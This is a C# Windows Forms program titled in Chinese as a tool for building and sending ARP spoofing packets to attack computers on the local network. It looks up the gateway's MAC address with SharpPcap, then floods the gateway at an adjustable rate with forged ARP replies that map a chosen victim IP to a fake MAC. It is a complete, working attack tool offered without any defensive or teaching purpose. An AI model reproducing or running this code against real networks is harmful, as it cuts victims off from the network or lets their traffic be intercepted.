c#构造和发送ARP欺骗包对网内电脑进行攻击

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Tamir.IPLib.Packets;
using Tamir.IPLib;
using Tamir.IPLib.Protocols;
using System.Threading;

namespace FoxArp
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        protected override CreateParams CreateParams
        {
            get
            {
                int CS_NOCLOSE = 0x200;
                CreateParams parameters = base.CreateParams;
                parameters.ClassStyle |= CS_NOCLOSE;

                return parameters;
            }
        }
        private bool bolSendPacket = true;
        private bool bolGetDev = true;
        private void numericUpDown1_ValueChanged(object sender, EventArgs e)
        {

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {

                PcapDeviceList devices = SharpPcap.GetAllDevices();
                for (int z = 0; z < devices.Count;z++ )
                {
                    cbbDeviece.Items.Add(devices[z].PcapName);
                }
                cbbDeviece.SelectedIndex = 0;
            }
            catch(Exception ex)
            { MessageBox.Show("绑定网卡失败！"); bolGetDev = false; }
        }
        Thread threadgetmac;
        private void btnGetGateWayMac_Click(object sender, EventArgs e)
        {
            try
            {
                if(!bolGetDev)
                {
                    MessageBox.Show("绑定网卡失败，无法完成"); return;
                }

                if (tbxGateWayIp.Text == "")
                {
                    MessageBox.Show("请输入网关IP"); return;
                }
                else
                {
                    System.Net.IPAddress.Parse(tbxGateWayIp.Text);
                    long z = Ipchange(tbxGateWayIp.Text);
                    string x = Ipchanged(z);
                    if(x!=tbxGateWayIp.Text)
                    {
                        MessageBox.Show("请输入正确的网关IP"); return;
                    }
                }
            }
            catch(Exception se)
            { MessageBox.Show("请输入正确的网关IP"); return; }
            btnGetGateWayMac.Enabled = false;
            btnExit.Enabled = false;
            bolGetMacSuc = false;
            threadgetmac = new Thread(new ThreadStart(GetGatewayMac));
            threadgetmac.Start();
            Thread getmactimeout = new Thread(new ThreadStart(GetMacTimeOut));
            getmactimeout.Start();
          
          
        }
        private bool bolGetMacSuc = false;
        private void GetMacTimeOut()
        {
            Thread.Sleep(1000);
            if (!bolGetMacSuc)
            {
                threadgetmac.Abort();
                MessageBox.Show("获取网关MAC失败，请手动输入！");
            }
            else
            {
                MessageBox.Show("成功获取网关MAC！");
            }
            btnGetGateWayMac.Enabled = true;
            btnExit.Enabled = true;
           
        }

        private void GetGatewayMac()
        {
            try
            {
                PcapDeviceList deviece = SharpPcap.GetAllDevices();
                PcapDevice tempdevice = deviece[cbbDeviece.SelectedIndex];
                string name = deviece[cbbDeviece.SelectedIndex].PcapName;
                ARP A = new ARP(name);
                NetworkDevice dev = (NetworkDevice)tempdevice;
                A.LocalMAC = dev.MacAddress; ;
                A.LocalIP = dev.IpAddress; ;
                A.DeviceName = name;
                tbxGateWayMac.Text = A.Resolve(tbxGateWayIp.Text, name);
                bolGetMacSuc = true;
            }
            catch
            {
             
            }
        }

        private long Ipchange(string ipaddress)
        {
            int position1 = ipaddress.IndexOf(".");
            int position2 = ipaddress.IndexOf(".", position1 + 1);
            int position3 = ipaddress.IndexOf(".", position2 + 1);
            long[] ip = new long[4];
            ip[0] = long.Parse(ipaddress.Substring(0, position1));
            ip[1] = long.Parse(ipaddress.Substring(position1 + 1, position2 - position1 - 1));
            ip[2] = long.Parse(ipaddress.Substring(position2 + 1, position3 - position2 - 1));
            ip[3] = long.Parse(ipaddress.Substring(position3 + 1));
            return (ip[0] << 24) + (ip[1] << 16) + (ip[2] << 8) + (ip[3]);
        }
        private string strGateWayIp;
        private string strGateWayMac;
        private string strAttackIp;
        private string strSouMac = "00-21-D2-3A-42-22";
        private int intSendSpeed;

        private string Ipchanged(long ipaddress)
        {
            string z = "";
            z = (ipaddress >> 24).ToString() + "." + ((ipaddress >> 16) & 0x000000FF).ToString() + "." + ((ipaddress >> 8) & 0x000000FF).ToString() + "." + (ipaddress & 0x000000FF).ToString();
            return z;
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            if (btnStart.Text == "开始")
            {
                if (!bolGetDev)
                {
                    MessageBox.Show("绑定网卡失败，无法完成"); return;
                }
                if (tbxGateWayIp.Text == "" || tbxGateWayMac.Text == "" || tbxAtackIp.Text == "")
                {
                    MessageBox.Show("IP或MAC不能为空"); return;
                }
                else
                {
                    try
                    {
                        System.Net.IPAddress.Parse(tbxGateWayIp.Text);
                        long z = Ipchange(tbxGateWayIp.Text);
                        string x = Ipchanged(z);
                        if (x != tbxGateWayIp.Text)
                        {
                            MessageBox.Show("请输入正确的IP"); return;
                        }
                        System.Net.IPAddress.Parse(tbxAtackIp.Text);
                        z = Ipchange(tbxAtackIp.Text);
                        x = Ipchanged(z);
                        if (x != tbxAtackIp.Text)
                        {
                            MessageBox.Show("请输入正确的IP"); return;
                        }

                        if(tbxAtackIp.Text=="172.16.95.79"||tbxGateWayIp.Text=="172.16.95.79")
                        {
                            MessageBox.Show("不能攻击此IP,哈哈"); return;
                        }

                    }
                    catch
                    {
                        MessageBox.Show("请输入正确的IP"); return;
                    }
                }

                strAttackIp = tbxAtackIp.Text;
                strGateWayIp = tbxGateWayIp.Text;
                strGateWayMac = tbxGateWayMac.Text;
                intSendSpeed = (int)nudSendSpeed.Value;
                bolSendPacket = true;
                btnExit.Enabled = false;
                tbxAtackIp.Enabled = false;
                tbxGateWayIp.Enabled = false;
                tbxGateWayMac.Enabled = false;
                nudSendSpeed.Enabled = false;
                cbbDeviece.Enabled = false;
                btnGetGateWayMac.Enabled = false;
                btnStart.Text = "停止";
                bgwArpSend.RunWorkerAsync();
            }
            else
            {
             
                bolSendPacket = false;
                bgwArpSend.CancelAsync();

            }
        }

        private void bgwArpSend_DoWork(object sender, DoWorkEventArgs e)
        {
          
            Thread a = new Thread(new ThreadStart(ArpPacketSend));
            a.Start();
            while(!bgwArpSend.CancellationPending)
            {
                Thread.Sleep(1000);
            }
            btnStart.Text = "开始";
            btnStart.Enabled = true;
            btnExit.Enabled = true;
            tbxAtackIp.Enabled = true;
            tbxGateWayIp.Enabled = true;
            tbxGateWayMac.Enabled = true;
            nudSendSpeed.Enabled = true;
            cbbDeviece.Enabled = true;
            btnGetGateWayMac.Enabled = true;

        }

        private void ArpPacketSend()
        {
            int xs = 0;

            try
            {
                PcapDeviceList devices = SharpPcap.GetAllDevices();
                PcapDevice device = devices[cbbDeviece.SelectedIndex];
                NetworkDevice dev = (NetworkDevice)device;
                int len = EthernetFields_Fields.ETH_HEADER_LEN;
                string destmac = strGateWayMac;
                byte[] bytes = new byte[60];
                ARPPacket arp = new ARPPacket(len, bytes);
                arp.SourceHwAddress = strSouMac;
                arp.DestinationHwAddress = destmac;
                arp.EthernetProtocol = EthernetProtocols_Fields.ARP;
                arp.ARPHwType = 0x0001;
                arp.ARPProtocolType = 0x0800;
                arp.ARPHwLength = 6;
                arp.ARPProtocolLength = 4;
                arp.ARPOperation = 0x0002;
                arp.ARPSenderHwAddress = strSouMac;
                arp.ARPSenderProtoAddress = strAttackIp;
                arp.ARPTargetHwAddress = destmac;
                arp.ARPTargetProtoAddress = strGateWayIp;
                while (bolSendPacket)
                {
                    dev.PcapOpen(true, 20);
                    dev.PcapSendPacket(arp);
                    dev.PcapClose();
                    xs++;
                    if (xs == intSendSpeed)
                    {
                        Thread.Sleep(1000);
                        xs = 0;
                    }
                }
            }
            catch
            {
                MessageBox.Show("发送失败！"); bolSendPacket = false;
                bgwArpSend.CancelAsync();
            }
          
        }

        private void btnExit_Click(object sender, EventArgs e)
        {
            this.Close();
        }

        private void btnCopyRight_Click(object sender, EventArgs e)
        {
            copyright cd = new copyright();
            cd.ShowDialog();
        }

    }
}